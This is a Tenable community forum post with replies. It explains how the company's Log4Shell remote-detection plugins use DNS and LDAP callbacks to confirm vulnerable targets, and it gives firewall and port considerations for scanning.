Forum Discussion
Overview of Callbacks in Log4j Remote Detection Plugins The...
Overview of Callbacks in Log4j Remote Detection Plugins
The following is an overview of callbacks in Tenable plugins for Log4Shell that perform remote detection 155998, 156014, 156016, 156017, 156035, 156056, 156115, 156132, 156157, 156158, 156162, 156166, 156197, 156232, 156256, 156257, 156258, 156375, 156445, 156559, and 156669.
A HTTP request is sent by the scanner to the target being scanned with a benign payload containing a unique token. The target, if vulnerable, will act on the payload. Tenable tracks the target’s action on the payload via a callback to our hosted environment (plugins 156014, 156016, 156017, 156035, 156056, 156115, 156132, 156157, 156158, 156162, 156166,156197, 156232, 156256, 156257, 156258, 156375, 156445, 156559, and 156669) based on the unique token that was embedded in the initial request or via the LDAP connection callback to the scanner for plugin 155998.
The callback is needed given the nature of the vulnerability as execution of the payload happens on the target being scanned.
In plugin 155998, the callback happens to the scanner. This is the reason the plugin is not supported on Tenable.io cloud scanners
In plugins 156014, 156016, 156017, 156035, 156056, 156115, 156132, 156157, 156158, 156162, 156166, 156197, 156232, 156256, 156257, 156258, 156375, 156445, 156559, and 156669 as part of execution of the payload, the target tries to resolve a domain owned by Tenable. While resolving the domain, Tenable is able to see the unique token that was sent in the initial request and thereby can track the callback.
These plugins come with the major benefit that credentials are not required for scanning. However, the callbacks need to be successful for the plugin to be able to identify the exposure. Hence, communication between the target being scanned and the callback server must not be interrupted by intermediary devices.
For more details:
13 Replies
The remote direct checks in this post do not use or require credentials, administrator or otherwise.
The different ports and protocols scanned by our DNS remote direct checks are all detailed in https://community.tenable.com/s/feed/0D53a00008E3hKzCAJ.
The Direct Bind Callback plugin (155998) uses ephemeral ports as detailed in https://community.tenable.com/s/feed/0D53a00008ER4VjCAL
Local firewalls in restrictive network environments or non-Internet connected environments can open these ports to employ direct check scanning using plugin 155998.
The DNS Server names are not being publicly disclosed to avoid DoS or misuse by bad actors. Being DNS servers, they need to be publicly accessible to resolve requests from all of our diverse worldwide customer base.
Tenable Customer Support has the DNS information at the ready and is standing by to handle all of our customers' questions related to Tenable's Log4j plugins. Please engage our CS agents for best response on these questions and issues.
Respectfully, - Ivan Belyna, Sr. Manager, Tenable Research Global Detections
If you're using Tenable CORE for scanning the built in firewall needs to be modified to allow for connections on these ephemeral ports -- https://community.tenable.com/s/article/Using-plugin-155998-Apache-Log4j-Message-Lookup-Substitution-RCE-Log4Shell-from-Tenable-Core-Nessus
Re. the callbacks and "known limitations - restrictive network environment", this most probably include scanners which reside behind a NAT gateway? (as per https://community.tenable.com/s/feed/0D53a00008ER4VjCAL - will need 10000 destination-NAT rules to make it work...).
